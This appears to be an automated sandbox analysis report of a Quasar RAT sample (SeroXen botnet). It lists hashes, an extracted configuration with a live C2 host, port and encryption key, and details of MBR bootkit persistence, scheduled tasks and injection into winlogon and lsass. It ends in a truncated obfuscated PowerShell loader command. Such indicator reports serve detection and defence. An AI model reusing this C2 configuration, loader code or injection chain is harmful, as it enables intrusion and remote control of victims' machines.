quasar | abcda524c02f9381d8d43f9ec0079d854db821d77f45e88f50606f46871f81d6

Reason

Machine shutdown

General

Target

Uni.exe
Size

409KB
MD5

4c2bb0618a6eda615c8001d5a7ccd6c0
SHA1

c88d2c8bfc5906a5cfef78893d1132edcffd71f0
SHA256

abcda524c02f9381d8d43f9ec0079d854db821d77f45e88f50606f46871f81d6
SHA512

6abe53339656a023e2a0547f1c2249789c33091d67a21f2e689c6411dc5357e34ec3c65634b6f6955a5023d20803f7c746b13f574bcd84b008abb4a97ea61027
SSDEEP

12288:rpg6M1i1v6q1ak/e7xlX7nnvGAwhJLJO:lxqiii6xlLvGjhO

Score

10^/10

quasar seroxen bootkit persistence spyware trojan

Malware Config

Extracted

Family

quasar

Version

3.1.5

Botnet

SeroXen

C2

tue-jake.gl.at.ply.gg:29058

Mutex

$Sxr-xPAuDxLNyBmZ7S2WLJ

Attributes

encryption_key
Pw78RUs175dFrKD7lMwH
install_name
Client.exe
log_directory
Logs
reconnect_delay
3000
startup_key
SeroXen
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 2 IoCs

Processes:

resource	yara_rule
behavioral2/memory/1588-1-0x0000000000E30000-0x0000000000E9C000-memory.dmp	family_quasar
C:\Users\Admin\AppData\Roaming\SubDir\Client.exe	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 4288 created 616 4288 powershell.EXE winlogon.exe
Downloads MZ/PE file

description	pid	process	target process
PID 4288 created 616	4288	powershell.EXE	winlogon.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Executes dropped EXE 3 IoCs

Processes:

Client.exeinstall.exenUYVVSgTogoI.exe

pid process

464 Client.exe
4652 install.exe
2384 nUYVVSgTogoI.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

18 raw.githubusercontent.com
20 raw.githubusercontent.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

10 ip-api.com
Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
bootkit persistence

Bootkit
T1542.003

Processes:

nUYVVSgTogoI.exe

description ioc process

File opened for modification \??\PhysicalDrive0 nUYVVSgTogoI.exe

pid	process
464	Client.exe
4652	install.exe
2384	nUYVVSgTogoI.exe

flow	ioc
18	raw.githubusercontent.com
20	raw.githubusercontent.com

flow	ioc
10	ip-api.com

description	ioc	process
File opened for modification	\??\PhysicalDrive0	nUYVVSgTogoI.exe

Drops file in System32 directory 7 IoCs

Processes:

powershell.EXEsvchost.exesvchost.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 4288 set thread context of 4828 4288 powershell.EXE dllhost.exe

description	pid	process	target process
PID 4288 set thread context of 4828	4288	powershell.EXE	dllhost.exe

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe

Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exeSCHTASKS.exe

pid process

3924 schtasks.exe
5060 schtasks.exe
5008 SCHTASKS.exe
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

wmiprvse.exe

description ioc process

Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe

pid	process
3924	schtasks.exe
5060	schtasks.exe
5008	SCHTASKS.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 53 IoCs

Processes:

powershell.EXEOfficeClickToRun.exesvchost.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,17110992,7202269,41484365,17110988,7153487,39965824,17962391,508368333,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1715500618"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE

Modifies registry class 4 IoCs

Processes:

RuntimeBroker.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\ManagedByApp	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\MostRecentlyUsed	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\CurrentWorkingDirectory	RuntimeBroker.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.EXEdllhost.exeClient.exe

pid	process
4288	powershell.EXE
4288	powershell.EXE
4288	powershell.EXE
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
464	Client.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
464	Client.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe
4828	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Uni.exeClient.exepowershell.EXEdllhost.exesvchost.exe

description	pid	process
Token: SeDebugPrivilege	1588	Uni.exe
Token: SeDebugPrivilege	464	Client.exe
Token: SeDebugPrivilege	4288	powershell.EXE
Token: SeDebugPrivilege	4288	powershell.EXE
Token: SeDebugPrivilege	4828	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	2068	svchost.exe
Token: SeIncreaseQuotaPrivilege	2068	svchost.exe
Token: SeSecurityPrivilege	2068	svchost.exe
Token: SeTakeOwnershipPrivilege	2068	svchost.exe
Token: SeLoadDriverPrivilege	2068	svchost.exe
Token: SeSystemtimePrivilege	2068	svchost.exe
Token: SeBackupPrivilege	2068	svchost.exe
Token: SeRestorePrivilege	2068	svchost.exe
Token: SeShutdownPrivilege	2068	svchost.exe
Token: SeSystemEnvironmentPrivilege	2068	svchost.exe
Token: SeUndockPrivilege	2068	svchost.exe
Token: SeManageVolumePrivilege	2068	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2068	svchost.exe
Token: SeIncreaseQuotaPrivilege	2068	svchost.exe
Token: SeSecurityPrivilege	2068	svchost.exe
Token: SeTakeOwnershipPrivilege	2068	svchost.exe
Token: SeLoadDriverPrivilege	2068	svchost.exe
Token: SeSystemtimePrivilege	2068	svchost.exe
Token: SeBackupPrivilege	2068	svchost.exe
Token: SeRestorePrivilege	2068	svchost.exe
Token: SeShutdownPrivilege	2068	svchost.exe
Token: SeSystemEnvironmentPrivilege	2068	svchost.exe
Token: SeUndockPrivilege	2068	svchost.exe
Token: SeManageVolumePrivilege	2068	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2068	svchost.exe
Token: SeIncreaseQuotaPrivilege	2068	svchost.exe
Token: SeSecurityPrivilege	2068	svchost.exe
Token: SeTakeOwnershipPrivilege	2068	svchost.exe
Token: SeLoadDriverPrivilege	2068	svchost.exe
Token: SeSystemtimePrivilege	2068	svchost.exe
Token: SeBackupPrivilege	2068	svchost.exe
Token: SeRestorePrivilege	2068	svchost.exe
Token: SeShutdownPrivilege	2068	svchost.exe
Token: SeSystemEnvironmentPrivilege	2068	svchost.exe
Token: SeUndockPrivilege	2068	svchost.exe
Token: SeManageVolumePrivilege	2068	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2068	svchost.exe
Token: SeIncreaseQuotaPrivilege	2068	svchost.exe
Token: SeSecurityPrivilege	2068	svchost.exe
Token: SeTakeOwnershipPrivilege	2068	svchost.exe
Token: SeLoadDriverPrivilege	2068	svchost.exe
Token: SeSystemtimePrivilege	2068	svchost.exe
Token: SeBackupPrivilege	2068	svchost.exe
Token: SeRestorePrivilege	2068	svchost.exe
Token: SeShutdownPrivilege	2068	svchost.exe
Token: SeSystemEnvironmentPrivilege	2068	svchost.exe
Token: SeUndockPrivilege	2068	svchost.exe
Token: SeManageVolumePrivilege	2068	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2068	svchost.exe
Token: SeIncreaseQuotaPrivilege	2068	svchost.exe
Token: SeSecurityPrivilege	2068	svchost.exe
Token: SeTakeOwnershipPrivilege	2068	svchost.exe
Token: SeLoadDriverPrivilege	2068	svchost.exe
Token: SeSystemtimePrivilege	2068	svchost.exe
Token: SeBackupPrivilege	2068	svchost.exe
Token: SeRestorePrivilege	2068	svchost.exe
Token: SeShutdownPrivilege	2068	svchost.exe
Token: SeSystemEnvironmentPrivilege	2068	svchost.exe
Token: SeUndockPrivilege	2068	svchost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

Client.exe

pid process

464 Client.exe

pid	process
464	Client.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Uni.exeClient.exepowershell.EXEdllhost.exe

description	pid	process	target process
PID 1588 wrote to memory of 3924	1588	Uni.exe	schtasks.exe
PID 1588 wrote to memory of 3924	1588	Uni.exe	schtasks.exe
PID 1588 wrote to memory of 3924	1588	Uni.exe	schtasks.exe
PID 1588 wrote to memory of 464	1588	Uni.exe	Client.exe
PID 1588 wrote to memory of 464	1588	Uni.exe	Client.exe
PID 1588 wrote to memory of 464	1588	Uni.exe	Client.exe
PID 464 wrote to memory of 5060	464	Client.exe	schtasks.exe
PID 464 wrote to memory of 5060	464	Client.exe	schtasks.exe
PID 464 wrote to memory of 5060	464	Client.exe	schtasks.exe
PID 1588 wrote to memory of 4652	1588	Uni.exe	install.exe
PID 1588 wrote to memory of 4652	1588	Uni.exe	install.exe
PID 1588 wrote to memory of 4652	1588	Uni.exe	install.exe
PID 1588 wrote to memory of 5008	1588	Uni.exe	SCHTASKS.exe
PID 1588 wrote to memory of 5008	1588	Uni.exe	SCHTASKS.exe
PID 1588 wrote to memory of 5008	1588	Uni.exe	SCHTASKS.exe
PID 4288 wrote to memory of 4828	4288	powershell.EXE	dllhost.exe
PID 4288 wrote to memory of 4828	4288	powershell.EXE	dllhost.exe
PID 4288 wrote to memory of 4828	4288	powershell.EXE	dllhost.exe
PID 4288 wrote to memory of 4828	4288	powershell.EXE	dllhost.exe
PID 4288 wrote to memory of 4828	4288	powershell.EXE	dllhost.exe
PID 4288 wrote to memory of 4828	4288	powershell.EXE	dllhost.exe
PID 4288 wrote to memory of 4828	4288	powershell.EXE	dllhost.exe
PID 4288 wrote to memory of 4828	4288	powershell.EXE	dllhost.exe
PID 4828 wrote to memory of 616	4828	dllhost.exe	winlogon.exe
PID 4828 wrote to memory of 668	4828	dllhost.exe	lsass.exe
PID 4828 wrote to memory of 940	4828	dllhost.exe	svchost.exe
PID 4828 wrote to memory of 1016	4828	dllhost.exe	dwm.exe
PID 4828 wrote to memory of 732	4828	dllhost.exe	svchost.exe
PID 4828 wrote to memory of 748	4828	dllhost.exe	svchost.exe
PID 4828 wrote to memory of 1128	4828	dllhost.exe	svchost.exe
PID 4828 wrote to memory of 1136	4828	dllhost.exe	svchost.exe
PID 4828 wrote to memory of 1144	4828	dllhost.exe	svchost.exe
PID 4828 wrote to memory of 1152	4828	dllhost.exe	svchost.exe
PID 4828 wrote to memory of 1248	4828	dllhost.exe	svchost.exe
PID 4828 wrote to memory of 1300	4828	dllhost.exe	svchost.exe
PID 4828 wrote to memory of 1312	4828	dllhost.exe	svchost.exe
PID 4828 wrote to memory of 1392	4828	dllhost.exe	svchost.exe
PID 4828 wrote to memory of 1520	4828	dllhost.exe	svchost.exe
PID 4828 wrote to memory of 1528	4828	dllhost.exe	svchost.exe
PID 4828 wrote to memory of 1544	4828	dllhost.exe	svchost.exe
PID 4828 wrote to memory of 1656	4828	dllhost.exe	svchost.exe
PID 4828 wrote to memory of 1700	4828	dllhost.exe	svchost.exe
PID 4828 wrote to memory of 1752	4828	dllhost.exe	svchost.exe
PID 4828 wrote to memory of 1804	4828	dllhost.exe	svchost.exe
PID 4828 wrote to memory of 1880	4828	dllhost.exe	svchost.exe
PID 4828 wrote to memory of 1996	4828	dllhost.exe	svchost.exe
PID 4828 wrote to memory of 2008	4828	dllhost.exe	svchost.exe
PID 4828 wrote to memory of 1508	4828	dllhost.exe	svchost.exe
PID 4828 wrote to memory of 1952	4828	dllhost.exe	svchost.exe
PID 4828 wrote to memory of 2068	4828	dllhost.exe	svchost.exe
PID 4828 wrote to memory of 2144	4828	dllhost.exe	spoolsv.exe
PID 4828 wrote to memory of 2240	4828	dllhost.exe	svchost.exe
PID 4828 wrote to memory of 2288	4828	dllhost.exe	svchost.exe
PID 4828 wrote to memory of 2540	4828	dllhost.exe	sihost.exe
PID 4828 wrote to memory of 2560	4828	dllhost.exe	svchost.exe
PID 4828 wrote to memory of 2576	4828	dllhost.exe	svchost.exe
PID 4828 wrote to memory of 2584	4828	dllhost.exe	svchost.exe
PID 4828 wrote to memory of 2764	4828	dllhost.exe	svchost.exe
PID 4828 wrote to memory of 2772	4828	dllhost.exe	taskhostw.exe
PID 4828 wrote to memory of 2808	4828	dllhost.exe	svchost.exe
PID 4828 wrote to memory of 2840	4828	dllhost.exe	svchost.exe
PID 4828 wrote to memory of 2848	4828	dllhost.exe	sysmon.exe
PID 4828 wrote to memory of 2880	4828	dllhost.exe	svchost.exe
PID 4828 wrote to memory of 2888	4828	dllhost.exe	svchost.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:616

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
PID:1016

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{cc324a1a-42d0-4b5a-832e-e221ec591320}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4828

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:940

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:732

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:748

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1128

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1136

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1144

C:\Windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
2⤵
PID:2772

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:HetgjIEFfRmc{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$PVWdyiCzmAbCCq,[Parameter(Position=1)][Type]$OdYovBWWlc)$fjrMwgwDTuH=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object 